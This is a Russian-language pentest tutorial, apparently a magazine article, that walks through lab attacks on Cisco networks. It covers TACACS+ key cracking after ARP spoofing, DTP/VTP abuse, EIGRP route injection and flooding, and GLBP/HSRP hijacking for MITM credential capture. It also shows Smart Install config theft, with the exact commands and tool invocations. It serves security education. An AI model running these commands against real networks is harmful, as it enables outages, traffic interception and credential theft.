Cisco Nightmare. Большой гайд по пентесту сетей Cisco
Magama Bazarov
За всю свою карьеру сетевого инженера я повидал немало сетей, где использовалось оборудование Cisco. И в большинстве случаев это оборудование работало с конфигурацией по умолчанию, что ставит локальную сеть под большой удар со стороны потенциального нарушителя. Из этой статьи ты узнаешь, какой кошмар может возникнуть в сетях Cisco, если к их настройке отнеслись халатно.
WARNING
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
ПЕРЕХВАТ И ДЕШИФРОВКА КЛЮЧА TACACS+
TACACS+ (Terminal Access Controller Access Control System) — протокол, предназначенный для централизованного оперирования учетными записями, которые используются непосредственно для администрирования сетевого оборудования. Сервер TACACS+ решает, позволить или запретить доступ пользователю, который пытается войти в панель управления сетевым оборудованием.
У этого протокола есть две версии: TACACS и TACACS+. Мы будем разбираться именно с TACACS+.
«Плюсовая» версия отличается повышенным уровнем безопасности и интегрированным шифрованием. Также разделены функции AAA (аутентификация, авторизация и учет), и их можно использовать по отдельности.
Если злоумышленник сумеет встать посередине между клиентом и сервером TACACS, он сможет перехватить ключ для аутентификации в зашифрованном виде, а потом провести против него локальный брутфорс. То есть ты и брутфорсишь ключ, и в логах не палишься. И если тебе удастся сбрутить ключ, то ты сможешь получить доступ к сетевому оборудованию и расшифровать трафик в Wireshark. Да, Wireshark умеет работать с двумя версиями протокола TACACS. Предоставив «Акуле» ключ, ты сможешь дешифровать остальную часть данных, в которой хранится логин пользователя.
Шаг 1: MITM-атака
Сперва нужно провести MITM-атаку, тут все зависит от обстоятельств и твоих предпочтений. Для примера я реализую ARP-спуфинг в отношении TACACS-агента и TACACS-сервера.
- В качестве агента TACACS выступит коммутатор SW1 с IP-адресом
10.10.100.10
. - В качестве сервера TACACS выступит TACACSGUI с адресом
10.10.100.70
.
ARP-спуфинг я реализую через утилиту Ettercap. Для начала необходимо переключить интерфейс в неразборчивый режим и разрешить маршрутизацию:
necreas1ng@Inguz:~$ sudo ifconfig eth0 promisc necreas1ng@Inguz:~$ sudo sysctl -w net.ipv4.ip_forward=1
necreas1ng@Inguz:~$ sudo ettercap -G
В качестве прослушивающего интерфейса выступит eth0. Запустим сканирование хостов.
Target 1 будет хост с IP-адресом 10.10.100.10
, а Target 2 — 10.10.100.70
.
Проводим ARP-спуфинг против двух целей.
Шаг 2: Loki
Теперь необходимо запустить Loki. Это специальный инструмент, созданный для анализа безопасности протоколов L2/L3. По возможностям он не хуже той же популярной Yersinia и составляет ей серьезную конкуренцию. Loki также умеет брутфорсить ключи TACACS. В случае успеха брутфорса ключа в зашифрованном виде (обычно он зашифрован в формате MD5) мы сможем получить доступ к оборудованию и расшифровать зашифрованный TACACS-трафик.
necreas1ng@Inguz:~$ sudo loki_gtk.py
Выбираем интерфейс для атаки.
Также нужно указать путь до словаря, чтобы провести брутфорс зашифрованного ключа. Обязательно снимай галочку с опции Use Bruteforce, иначе Loki будет ломать пароль полным перебором, не задействовав сам словарь.
Теперь нужно ждать, пока легитимный администратор войдет на устройство через сервер TACACS. Предполагается, что сетевой администратор уже зашел, а мы, встав посередине через ARP-спуфинг, перехватываем трафик. И при этом легитимные хосты не понимают, что в их соединение вмешался кто‑то посторонний.
Теперь нажимаем на кнопку CRACK и ждем, пока Loki ломанет пароль.
Отлично, нам удалось сбрутить ключ, теперь нужно расшифровать TACACS-трафик. Как я и сказал, Wireshark умеет работать с зашифрованным трафиком TACACS при наличии ключа.
Видим, какой баннер использовался.
Обнаруживаем логин пользователя admin
.
В итоге у нас есть креды admin:secret1234
, с которыми можно зайти на само оборудование. Пожалуй, проверю их на валидность.
Вот таким образом можно атаковать TACACS+ и получать доступ к панели управления сетевым оборудованием.
АТАКИ НА ПРОТОКОЛ CDP
CDP (Cisco Discovery Protocol) — разработка инженеров Cisco Systems, протокол канального уровня, созданный для того, чтобы устройства могли обмениваться информацией. CDP может помочь сетевому администратору и облегчить процесс траблшутинга, но для злоумышленника... Сейчас выясним.
Сбор информации
По умолчанию CDP выполняет рассылку объявлений на все свои порты. Но что, если злоумышленник подключится в порт того же коммутатора? Воспользовавшись сетевым сниффером, будь то Wireshark или tcpdump, он сможет извлечь ценную информацию о самом устройстве — начиная его моделью и заканчивая версией Cisco IOS. Воспользовавшись этой информацией, он сможет провести перечисление той же версии Cisco IOS и найти по ней уязвимость, а затем проэксплуатировать ее.
DoS-атака CDP Flooding
Если злоумышленник спровоцирует рассылку огромного количества CDP-объявлений, то сам флудинг вызовет перегрузку коммутатора и нарушит работу сети. Также будет переполняться таблица соседей CDP. Проводить эту атаку просто, поэтому не буду вдаваться в подробности.
На этот раз мы воспользуемся Yersinia:
necreas1ng@Inguz:~$ sudo yersinia -G
Выставляем опцию flooding CDP table и начинаем атаку. Центральный процессор коммутатора будет перегружен, как и таблица CDP-соседей, вследствие чего возникает «сетевой паралич».
ЗЛОУПОТРЕБЛЕНИЕ ДИНАМИЧЕСКИМ ТРАНКИНГОМ
DTP (Dynamic Trunking Protocol) — протокол канального уровня, призванный организовать автоматическую систему транкинга. Благодаря DTP коммутаторы сами решают, какой порт будет работать в режиме магистрального канала (Trunk), а какой нет. На мой взгляд, использование DTP говорит о некачественном дизайне сети. Транки должны быть строго там, где они нужны, и это должно быть задокументировано. Особенно смешно, когда сетевой инженер сам не знает, какой порт у него в транке, а какой в режиме доступа.
По умолчанию порты коммутатора работают в режиме Dynamic Auto. Это говорит о том, что коммутационный порт находится в режиме инициации транка со стороны соседнего коммутатора. Пентестеру нужно физически подключиться к коммутатору и отправить кадр DTP Desirable, который триггерит переключение порта в режим транка. Далее злоумышленник сможет провести перечисление сетей VLAN с помощью анализа кадров STP и обойти сегментацию сети VLAN — создав виртуальные интерфейсы.
INFO
Подробнее об атаке протокола DTP ты сможешь узнать из другой моей статьи.
Для атаки понадобится скрипт, который будет генерировать кадр DTP Desirable. Для этого я написал небольшую программу DTPHijacking.py. Ее исходный код открыт, можешь изучить его.
necreas1ng@Inguz:~$ sudo python3 DTPHijacking.py --interface eth0
Хочу отметить, что Access/Desirable (0x03)
указывает на то, что DTP-кадр имеет тип Desirable, который велит порту переключиться в режим Trunk. А 802.1Q/802.1Q (0xa5)
указывает на тип инкапсуляции 802.1Q.
INFO
Ни в коем случае не прерывай работу скрипта. Он инжектит DTP Desirable каждые три секунды. Созданные динамически магистральные каналы на коммутаторе живут всего пять минут. Через пять минут транк отваливается.
Проанализировав STP-кадры, мы узнаем о существовании сетей VLAN 30 и 60.
С данной информацией и наличием транк‑порта мы можем получить доступ к этим сетям VLAN, при этом обойдя VLAN-сегментацию. Необходимо будет создать виртуальные интерфейсы и назначить на них IP-адрес.
necreas1ng@Inguz:~$ sudo vconfig add eth0 30 necreas1ng@Inguz:~$ sudo vconfig add eth0 60 necreas1ng@Inguz:~$ sudo ifconfig eth0.30 up necreas1ng@Inguz:~$ sudo ifconfig eth0.60 up necreas1ng@Inguz:~$ sudo dhclient -v eth0.30 necreas1ng@Inguz:~$ sudo dhclient -v eth0.60
Таким образом, можно обойти VLAN-сегментацию и получить доступ к VLAN-сетям.
СЕТЕВОЙ ПАРАЛИЧ ПРИ АТАКЕ НА VTP
VTP (VLAN Trunking Protocol) — протокол, созданный для централизованного управления сетями VLAN. Чтобы отслеживать актуальную базу данных VLAN, коммутаторы проверяют специальные номера ревизии. Когда происходит любое обновление таблицы, номер ревизии повышается на единицу. И если коммутатор обнаружит конфигурацию, у которой номер ревизии выше, он автоматически обновит свою базу данных VLAN.
Какие бывают роли в VTP-домене
- VTP Server. Коммутатор в роли VTP Server может создавать новые VLAN, удалять старые или менять информацию в самих VLAN. Также он занимается генерированием объявлений VTP для остальных членов домена.
- VTP Client. Коммутатор в этой роли будет получать специальные анонсы VTP от других коммутаторов в домене, чтобы обновлять базы данных VLAN у себя. Клиенты ограничены в возможностях создавать VLAN и даже не имеют права локально изменять конфигурацию VLAN. Иначе говоря, доступ read only.
- VTP Transparent. В этом режиме коммутатор не участвует в процессах VTP и может вести у себя полное и локальное администрирование всей конфигурации VLAN. Работая в прозрачном режиме, коммутаторы занимаются только передачей объявлений VTP от других коммутаторов, не затрагивая свою конфигурацию сетей VLAN. У таких коммутаторов номер ревизии всегда будет равен нулю, и против них атаку провести не получится.
Типы объявлений
- Summary Advertisement. Объявление VTP, которое сервер VTP отправляет каждые 300 секунд (5 минут). В этом объявлении хранится имя домена VTP, версия протокола, отметка времени и значение MD5-хеша конфигурации.
- Subset Advertisement. Это объявление VTP, которое отправляется при каждом изменении конфигурации VLAN.
- Advertisement Request — запрос от клиента VTP к серверу VTP на сообщение
Summary Advertisement
. Обычно рассылается в ответ на сообщение о том, что коммутатор обнаружилSummary Advertisement
с бóльшим номером ревизии конфигурации.
Атаку на протокол VTP можно провести только с транкового порта, поскольку объявления VTP транслируются и принимаются только на транковых портах. Поэтому при пентесте после атаки на DTP твоей следующей целью может быть VTP. Для атаки на домен VTP я буду использовать Yersinia. С ее помощью я проведу VTP-инжект, который стирает всю базу данных VLAN и тем самым парализует сеть.
INFO
У протокола VTP есть целых три версии. В этой статье я проведу атаку против первой версии — VTPv1.
Для стирания всей базы данных VLAN выбираем опцию deleting all VTP vlans.
Хост из сети VLAN 60 утратил связность до шлюза.
АТАКИ НА ПРОТОКОЛ EIGRP
EIGRP (Enhanced Interior Gateway Routing Protocol) — протокол динамической маршрутизации. Является дистанционно‑векторным протоколом. При отсутствии аутентификации и конфигурации пассивных интерфейсов злоумышленник может вмешаться в процесс EIGRP-маршрутизации и вызвать отравление таблиц маршрутизации. Более того, сеть EIGRP (иначе говоря, автономная система) «плоская», и у нее отсутствует сегментация на какие‑либо зоны. Что это может значить для атакующего? Ну, если он проведет инъекцию маршрута, то, скорее всего, этот маршрут распространится по всей автономной системе EIGRP.
В первую очередь для атаки на автономную систему EIGRP необходимо установить соседство с легитимным маршрутизатором EIGRP, что открывает большие возможности, начиная от базовой разведки и заканчивая разными инъекциями.
INFO
Не забывай, что без предварительной установки соседства легитимные EIGRP-маршрутизаторы не будут реагировать на рассылаемые тобой сообщения EIGRP (будь то Hello
, Update
или другие).
Для этого я воспользуюсь FRRouting. Это опенсорсное ПО, которое предназначено для создания маршрутизатора в Unix и Linux. FRRouting позволяет реализовать виртуальный маршрутизатор, поддерживающий протоколы BGP, OSPF, EIGRP, RIP и другие. Его достаточно развернуть на своей атакующей системе, и фактически ты сможешь притвориться легитимным роутером в домене маршрутизации. Как развернуть FRR на своей системе, я покажу в следующем разделе.
INFO
Для проведения атак на домены маршрутизации EIGRP я разработал несколько инструментов и поместил их в свой репозиторий EIGRPWN на GitHub. Там ты найдешь все инструменты, которые я использовал для атаки на EIGRP в этой статье.
Разведка в сети
Подключение к домену маршрутизации позволяет нам провести перечисление и разведку сетей и не тратить много времени на сканирование. Это способ значительно экономит твое драгоценное время. К тому же при сканировании ты можешь спалиться перед системами безопасности IPS/IDS. Как по мне, подключение к домену и перечисление — вектор атаки на домены маршрутизации, который дарит тебе наибольший импакт.
Но для этого всего нужно развернуть FRRouting. Приступим.
Необходимо отредактировать конфигурационный файл daemons
. В нем прописаны конфигурации демонов в контексте их активности. Либо они подключены (yes), либо нет (no). Нам нужно активировать работу демона eigrpd.
root@Inguz:~# nano /etc/frr/daemons eigrpd=yes
После этого нужно поправить файл vtysh.conf
, добавив в него строчку, отвечающую за сохранение конфигурации в один файл, чтобы конфигурации разных протоколов не раскидывало в разные файлы (например, eigrpd.conf
, staticd.conf
). Настраивается опционально.
root@Inguz:~# nano /etc/frr/vtysh.conf service integrated-vtysh-config
С конфигурацией FRRouting закончили. Теперь самое время запустить демон FRR. И не забываем о разрешении маршрутизации трафика.
necreas1ng@Inguz:~$ sudo sysctl -w net.ipv4.ip_forward=1 necreas1ng@Inguz:~$ systemctl start frr
Подключение к домену маршрутизации EIGRP
С помощью команды vtysh
мы попадем в панель управления маршрутизатором FRR.
necreas1ng@Inguz:~$ sudo vtysh Inguz# show version
Перед конфигурацией EIGRP на маршрутизаторе нужно узнать номер автономной системы и понять, есть ли аутентификация.
Как мы видим, номер автономной системы EIGRP — 1. Аутентификация отсутствует. С этой информацией мы без труда сможем подключиться к домену маршрутизации EIGRP.
INFO
Не забывай, что домен маршрутизации EIGRP может быть защищен аутентификацией. Но у тебя все еще есть шанс подключиться к домену маршрутизации. Во время рассылки пакетов приветствия в них также находятся криптографические хеши. Если ты сумеешь извлечь эти хеши из дампа трафика и сбрутить пароль, ты сможешь войти с этим паролем в домен маршрутизации.
Переходим в режим глобальной конфигурации и запускаем процесс EIGRP, указываем номер автономной системы — 1.
Inguz# conf t Inguz(config)# router eigrp 1Inguz(config-router)# network 10.10.100.50/32
После этого устанавливается соседство между легитимными EIGRP-маршрутизаторами. В моей сети их два:
Во время установления и поддержания соседства между EIGRP-маршрутизаторами роутеры обмениваются своей маршрутной информацией. После установления соседства в нашей таблице маршрутизации атакующей системы появятся новые маршруты, а именно:
- 10.1.239.0/24 via 10.10.100.100;
- 30.30.30.0/24 via 10.10.100.100;
- 100.100.100.0/24 via 10.10.100.100;
- 172.16.100.0/24 via 10.10.100.200.
Таким образом, после установления соседства мы узнали о существовании этих подсетей, что облегчает нам задачу в пентесте и позволяет сэкономить время. Мы можем обойтись без дополнительного сканирования подсетей. Теперь мы в домене маршрутизации EIGRP и можем развивать некоторые векторы атак. О них и поговорим дальше.
Поддельные соседи EIGRP
Я выяснил, что генерация и быстрая рассылка массовых пакетов приветствия протокола EIGRP приводит к перегрузке центрального процессора маршрутизатора, что, в свою очередь, может открыть возможность для DoS-атаки. Я разработал небольшой скрипт helloflooding.py, но мне кажется, что скрипту не хватает скорости рассылки пакетов. Всему виной — GIL, который мешает запустить функцию sprayhello
в несколько потоков в секунду. Со временем я перепишу скрипт на C.
- интерфейс атакующей системы;
- номер автономной системы EIGRP;
- подсеть, в которой находится атакующая система. В моем случае подсеть
10.10.100.0/24
.
necreas1ng@Inguz:~/EIGRPWN$ sudo python3 helloflooding.py --interface eth0 --asn 1 --subnet 10.10.100.0/24
Как видно из скриншота выше, нагрузка на центральный процессор возросла до 98%.
Черная дыра
Суть этой атаки заключается в простой инъекции ложного маршрута, который отравит таблицу маршрутизации. Трафик, допустим, сети 10.10.100.0/24
будет лететь в никуда, вызывая отказ в обслуживании. Такую атаку называют Blackhole («черная дыра»). В качестве инструмента для ее проведения выступит скрипт routeinject.py.
- интерфейс атакующей системы;
- номер автономной системы EIGRP;
- IP-адрес атакующего;
- IP-адрес целевой подсети, трафик в которую будет отправлен в «черную дыру»;
- маска целевой подсети.
В рамках этого примера я отправлю в «черную дыру» трафик, предназначенный для хоста 172.16.100.140/32
.
necreas1ng@Inguz:~/EIGRPWN$ sudo python3 routeinject.py --interface eth0 --asn 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
Как мы видим, хост теряет связность до хоста 172.16.100.140/32
из‑за инъекции маршрута.
Злоупотребление K-значениями
Чтобы установить соседство EIGRP, маршрутизаторы используют специальные K-значения. Они должны быть одинаковыми среди всех EIGRP-соседей. Если хотя бы одно из K-значений не будет совпадать, возникнет авария в домене EIGRP и соседство будет разорвано. Для проведения этой атаки нам послужит инструмент relationshipnightmare.py.
Для работы скрипта необходимо указать:
- интерфейс атакующей системы;
- номер автономной системы EIGRP;
- IP-адрес легитимного маршрутизатора.
От имени указанного IP и будет отправлен инжект на мультикастовый IP-адрес EIGRP, в котором K-значения отличаются. В моем случае я буду разрывать соседство от имени маршрутизатора GW1 (его адрес — 10.10.100.100
).
necreas1ng@Inguz:~/EIGRPWN$ sudo python3 relationshipnightmare.py --interface eth0 --asn 1 --src 10.10.100.100
Таким образом можно провести DoS-атаку. Во время эксплуатации возникают бесконечные разрывы и попытки установить соседство, что парализует работу части домена маршрутизации EIGRP.
Переполнение таблиц маршрутизации
Суть этой атаки заключается в том, чтобы спровоцировать отправку огромного количества ложных маршрутов, которые будут переполнять таблицу маршрутизации. Это истощает вычислительные ресурсы маршрутизатора, а именно процессора и оперативной памяти, поскольку инжекты происходят на огромной скорости. Реализована эта атака в скрипте routingtableoverflow.py.
necreas1ng@Inguz:~/EIGRPWN$ sudo python3 routingtableoverflow.py --interface eth0 --asn 1 --src 10.10.100.50
Таблица маршрутизации начинает переполняться маршрутами. Рандомные адреса целевых сетей обусловлены использованием RandIP()
в Scapy.
Центральный процессор маршрутизатора нагружен до 96%.
MITM-АТАКА ЧЕРЕЗ АБЬЮЗ ПРОПРИЕТАРНЫХ FHRP-ПРОТОКОЛОВ CISCO
Зачем нужен FHRP
FHRP (First Hop Redundancy Protocol) — класс сетевых протоколов, предназначенных для создания системы горячего резервирования маршрутизации. С помощью FHRP физические маршрутизаторы могут объединяться в одно логическое устройство, что повышает отказоустойчивость и помогает распределять нагрузку.
Инженеры Cisco Systems разработали два FHRP-протокола — это GLBP и HSRP, пентест которых я продемонстрирую дальше.
Угон GLBP и перехват трафика
GLBP (Gateway Load Balancing Protocol) — это еще одна разработка инженеров Cisco Systems, созданная для организации системы горячего резервирования маршрутизаторов. Является частью класса протоколов FHRP. В отличие от HSRP и VRRP, предлагает настоящую балансировку нагрузки, а именно:
Роли в GLBP-домене и терминология
AVG (Active Virtual Gateway) — маршрутизатор с главенствующей ролью, также отвечает за раздачу MAC-адресов остальным маршрутизаторам в рамках одной группы GLBP. Эдакий «босс» в домене GLBP. AVG указывает остальным маршрутизаторам, как распределять трафик, раздавая им MAC-адреса, когда прилетает ARP-запрос. Стоит отметить, что в домене GLBP AVG-маршрутизатор может быть только один, но он также может быть AVF-членом.
AVF (Active Virtual Forwarder) — маршрутизатор в группе GLBP, занимающийся обработкой трафика в сети.
GLBP Priority — значение приоритета, определяющее, какой маршрутизатор в группе GLBP будет AVG. По умолчанию это значение равно 100 (диапазон приоритета может быть от 1 до 255). Может настраиваться вручную, то есть сетевой инженер сам определяет, какой роутер будет «начальником», а какой «подчиненным». Чем выше приоритет, тем больше вероятность, что маршрутизатор получит AVG-роль. Обычно AVG-роль дается более мощным маршрутизаторам.
GLBP Weight — значение так называемого веса маршрутизатора в группе GLBP. GLBP Weight определяет уровень нагрузки на маршрутизатор. Это значение «плавающее» и может меняться в зависимости от нагрузки на физический канал (задействован механизм Object Tracking), но можно настроить его и вручную.
GLBP Virtual IP Address — виртуальный IP-адрес в домене GLBP. Используется в качестве адреса шлюза по умолчанию для легитимных хостов.
Для трансляции и обработки служебной информации GLBP использует зарезервированный IP-адрес групповой рассылки 224.0.0.102
и протокол транспортного уровня UDP под номером порта 3222. Специальные пакеты приветствия GLBP Hello отправляются каждые три секунды. Если в течение десяти секунд GLBP-маршрутизатор не получил пакет приветствия от соседа, то сосед будет признан «мертвым» и выпадет из домена GLBP.
GLBP Hijacking
Техника этой сетевой атаки заключается в том, чтобы навязать свое устройство в качестве главного маршрутизатора с помощью инъекции вредоносного пакета GLBP с максимальным значением приоритета. Успешная эксплуатация приводит к DoS- или MITM-атаке, в результате которой ты сможешь перехватить трафик внутри сети, провести редирект или вызвать DoS, так как ты захватываешь роль AVG-маршрутизатора. Достаточно собрать GLBP-пакет с наивысшим значением приоритета 255 и направить его в сторону локальной сети.
Loki
Для демонстрации этой атаки я буду использовать Loki. Он выполнит вредоносную GLBP-инъекцию с максимальным значением приоритета 255 и максимальным значением веса 255. Но перед проведением атаки нужно изучить следующую информацию:
- виртуальный IP-адрес, использующийся в GLBP-домене;
- наличие аутентификации;
- значение приоритетов маршрутизаторов.
Эту информацию мы сможем извлечь с помощью анализа трафика GLBP. Воспользуемся Wireshark.
Как видим, в процессе GLBP задействованы только два маршрутизатора: 10.10.100.100 и 10.10.100.200.
После анализа GLBP-трафика мы имеем следующее:
- обнаружена мисконфигурация в рамках настройки приоритетов. AVG-роутером считается GLBP-маршрутизатор с приоритетом 200, то есть вектор для угона GLBP у нас есть;
- отсутствует аутентификация;
- виртуальный IP-адрес, использующийся в GLBP-домене, —
10.10.100.254
.
Обладая этой инфой, мы можем без труда атаковать GLBP. Расчехляем Loki.
Перед проведением атаки переключаемся в неразборчивый режим и разрешаем маршрутизацию трафика:
necreas1ng@Inguz:~$ sudo ifconfig eth0 promisc necreas1ng@Inguz:~$ sudo sysctl -w net.ipv4.ip_forward=1
Выбираем маршрутизатор под IP-адресом 10.10.100.100
и активируем опцию Get IP. Также нужно сгенерировать Gratuitous ARP.
Как видим, теперь AVG-роутером притворяется атакующая система. Значение приоритета 255, значение веса — 255, то есть максимальные.
После выполнения инъекции необходимо создать вторичный IP-адрес на нашем сетевом интерфейсе со значением виртуального IP-адреса в домене GLBP. Также нужно задать 24-битную маску. Так легитимный трафик будет заворачиваться на нас, поскольку использующийся виртуальный IP-адрес в домене GLBP является адресом шлюза по умолчанию для хостов.
necreas1ng@Inguz:~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
Чтобы видеть не только входящий трафик, но и исходящий, нам понадобится небольшое правило для Source NAT (masquerading):
necreas1ng@Inguz:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Также нужно удалить маршрут по умолчанию на нашей машине и прописать новый, который будет ходить через бывший AVG-маршрутизатор (его адрес — 10.10.100.100
). Даже несмотря на то, что мы отжали AVG-роль у маршрутизатора, он все равно сможет выполнить маршрутизацию трафика.
necreas1ng@Inguz:~$ sudo route del default necreas1ng@Inguz:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
Вот и все, теперь мы стали тем самым «человеком посередине»! Запущу инструмент net-creds.py для анализа трафика, чтобы поискать важные данные. Например, незашифрованный FTP-трафик или NTLM-хеши.
necreas1ng@Inguz:~$ sudo python2 net-creds-master/net-creds.py -i eth0
После запуска утилиты попробую прочесть SMB-шару с IP-адресом 172.16.100.70
, которую находят GLBP-маршрутизаторы.
user@Boundless:~$ smbclient -L \\172.16.100.70 --user mercy
Вот таким образом можно перехватывать трафик внутри сети, атакуя домены GLBP.
Угон HSRP и перехват трафика
HSRP (Hot Standby Router/Redundancy Protocol) — проприетарный протокол Cisco, который позволяет обеспечить избыточность сетевого шлюза. Общая идея заключается в том, чтобы объединить несколько физических маршрутизаторов в один логический с общим IP-адресом. Этот адрес виртуального маршрутизатора будет назначаться на интерфейс маршрутизатора с главенствующей ролью, а тот, в свою очередь, займется форвардингом трафика. В домене HSRP задача обработки всего трафика ложится именно на маршрутизатор с главенствующей ролью, в отличие от GLBP, где предлагалось распределение нагрузки за счет использования специальных метрик (приоритет и вес).
Роли в HSRP-домене и терминология
- HSRP Active Router — устройство, играющее роль виртуального маршрутизатора и обеспечивающее форвардинг трафика из сетей источника до сетей назначения.
- HSRP Standby Router — устройство, играющее роль резервного маршрутизатора, которое ожидает отказа активного маршрутизатора. После падения основного Active-роутера Standby-роутер возьмет на себя главенствующую роль и будет заниматься обязанностями Active-роутера.
- HSRP Group — группа устройств, которая обеспечивает работу и отказоустойчивость логического маршрутизатора.
- HSRP MAC Address — виртуальный MAC-адрес логического маршрутизатора в домене HSRP.
- HSRP Virtual IP Address — это специальный виртуальный IP-адрес в группе HSRP. Этот IP-адрес будет шлюзом по умолчанию для конечных хостов, используется на самом логическом маршрутизаторе.
Версии протокола HSRP
У протокола HSRP есть две версии — HSRPv1 и HSRPv2. Они отличаются следующими параметрами:
- количество возможных логических групп. В HSRPv1 их может быть до 255. У HSRPv2 количество групп может достигать 4096;
- IP-адрес мультикастовой рассылки. HSRPv1 для трансляции служебной информации использует IP-адрес
224.0.0.2
, а HSRPv2 —224.0.0.102
; - виртуальный MAC-адрес. HSRPv1 в качестве виртуального MAC-адреса использует
00:00:0C:07:AC:XX
. У HSRPv2 виртуальный MAC-адрес00:00:0C:9F:FX:XX
(гдеXX
— это номер группы HSRP).
Для трансляции и обработки служебной информации HSRP использует зарезервированный IP-адрес групповой рассылки 224.0.0.2
или 224.0.0.102
(в зависимости от версии HSRP) и протокол транспортного уровня UDP с номером порта 1985. Специальные пакеты приветствия HSRP Hello отправляются каждые три секунды. Если в течение десяти секунд HSRP-маршрутизатор не получил пакет приветствия от соседа, то сосед будет признан «мертвым» и выпадет из домена HSRP.
HSRP Hijacking
Здесь абсолютно все то же самое, что с GLBP Hijacking. Нам необходимо провести вредоносную HSRP-инъекцию с максимальным значением приоритета 255. Это позволяет захватить роль Active-маршрутизатора, что открывает возможности для MITM-атаки. Но опять же перед проведением атаки нам нужно изучить следующую информацию:
- виртуальный IP-адрес, использующийся в HSRP-домене;
- наличие аутентификации;
- значение приоритетов маршрутизаторов.
Эту информацию мы сможем извлечь с помощью анализа трафика HSRP. Воспользуемся Wireshark.
Как видно на скриншоте, в процессе HSRP задействованы только два маршрутизатора с адресами 10.10.100.100
и 10.10.100.200
.
Исходя из анализа HSRP-трафика, мы имеем следующее:
- обнаружена мисконфигурация в рамках настройки приоритетов. Active-роутером считается HSRP-маршрутизатор с приоритетом 200, то есть вектор для угона HSRP у нас есть;
- используемый виртуальный IP-адрес в HSRP-домене —
10.10.100.254
; - используется MD5-аутентификация.
Наличие аутентификации в домене связывает нам руки, но скоро я это исправлю.
Authentication Bypassing
Дамп трафика HSRP сохраняем в формате .pcap, чтобы эксфильтратор смог корректно извлечь хеши MD5 из дампа.
В качестве эксфильтратора я буду использовать hsrp2john.py:
necreas1ng@Inguz:~/cisconightmare/exfiltrate$ python2 hsrp2john.py hsrp_with_authentication.pcap
Хеши я сбручу с помощью John the Ripper, укажем сами хеши в качестве входных данных. А с помощью ключа --wordlist
укажу путь до словаря:
necreas1ng@Inguz:~/cisconightmare/exfiltrate$ john hsrp_hashes --wordlist=wordlistforbrute
В итоге мы имеем ключ для входа в домен HSRP — endgame
.
Loki
Для атаки на протокол HSRP буду использовать все тот же Loki. У него, помимо прочего, есть возможность инжекта с ключом, что помогает обходить аутентификацию. Раньше, в разделе HSRP Hijacking, мы получили всю необходимую информацию о домене HSRP.
Не забываем перед проведением атаки переключиться в неразборчивый режим и разрешить маршрутизацию трафика:
necreas1ng@Inguz:~$ sudo ifconfig eth0 promisc necreas1ng@Inguz:~$ sudo sysctl -w net.ipv4.ip_forward=1
Выбираем маршрутизатор с адресом 10.10.100.100 и приоритетом 200. В качестве параметра Secret вводим взломанный пароль от домена HSRP, генерируем Gratuitous ARP и выбираем опцию Get IP.
Как мы видим, теперь Active-роутером является наша атакующая система. Значение приоритета — 255.
После выполнения инъекции необходимо создать вторичный IP-адрес на нашем сетевом интерфейсе со значением виртуального IP-адреса в HSRP-домене. Также нужно указать 24-битную маску. Таким образом, легитимный трафик будет заворачиваться на нас, поскольку применяемый виртуальный IP-адрес в домене HSRP — это адрес шлюза по умолчанию для хостов.
necreas1ng@Inguz:~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
Настраиваем известный нам Source NAT (masquerading) для перехвата всего трафика:
necreas1ng@Inguz:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Удаляем маршрут по умолчанию на нашей машине и прописываем новый, который будет ходить через бывший Active-маршрутизатор (его адрес 10.10.100.100
). Даже несмотря на то, что мы отжали активную роль у маршрутизатора, он все равно сможет выполнить маршрутизацию трафика.
necreas1ng@Inguz:~$ sudo route del default necreas1ng@Inguz:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
Теперь мы «человек посередине». Запускаем net-creds.py:
necreas1ng@Inguz:~$ sudo python2 net-creds-master/net-creds.py -i eth0
После запуска утилиты я воспроизведу попытку пройти аутентификацию на сервере FTP по адресу 172.16.100.140
.
user@Boundless:~$ ftp 172.16.100.140
В итоге получаем креды от сервера FTP: insomnia:betrayal
.
Вот так можно атаковать домен HSRP и перехватывать трафик. В принципе, все похоже на GLBP.
ЭКСПЛУАТАЦИЯ CISCO SMART INSTALL
Cisco Smart Install — это Cisco, призванный автоматизировать процесс первоначальной конфигурации и загрузки образа операционной системы для нового оборудования Cisco. По умолчанию Cisco Smart Install активен на оборудовании Cisco и использует протокол транспортного уровня — TCP с номером порта 4786.
В 2017 году в этом протоколе нашли критическую уязвимость CVE-2018-0171. Уровень опасности — 9,8 балла по шкале CVSS.
Специально собранный пакет, который отправляется на порт TCP/4786, где активен Cisco Smart Install, триггерит переполнение буфера, вследствие чего злоумышленник сможет:
- принудительно перезагрузить устройство;
- вызвать RCE;
- похитить конфигурации сетевого оборудования.
Для эксплуатации этой уязвимости был разработан инструмент SIET (Smart Install Exploitation Tool), он позволяет абьюзить Cisco Smart Install. В этой статье я покажу, как можно считать легитимный файл конфигурации сетевого оборудования. Эксфильтрация конфигов может быть ценна для пентестера, поскольку он узнает об уникальных особенностях сети. А это облегчит жизнь и позволит найти новые векторы для атаки.
В качестве целевого устройства выступит «живой» коммутатор Cisco Catalyst 2960. На виртуальных образах нет Cisco Smart Install, поэтому попрактиковаться удастся только на настоящем железе.
Адрес целевого коммутатора — 10.10.100.10
, CSI активен. Загружаем SIET и начинаем атаку. Аргумент -g
означает эксфильтрацию конфигурации с устройства, аргумент -i
позволяет задать IP-адрес уязвимой цели.
necreas1ng@Inguz:~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
Конфиг коммутатора 10.10.100.10
будет находиться в папке tftp/
.
ЭКСФИЛЬТРАЦИЯ КОНФИГУРАЦИИ И ПЕРЕЧИСЛЕНИЕ ЧЕРЕЗ SNMP
SNMP (Simple Network Management Protocol) — протокол, который позволяет отслеживать состояние устройств в компьютерной сети. Это может быть сетевое оборудование, IP-телефоны, корпоративные серверы или что‑то еще.
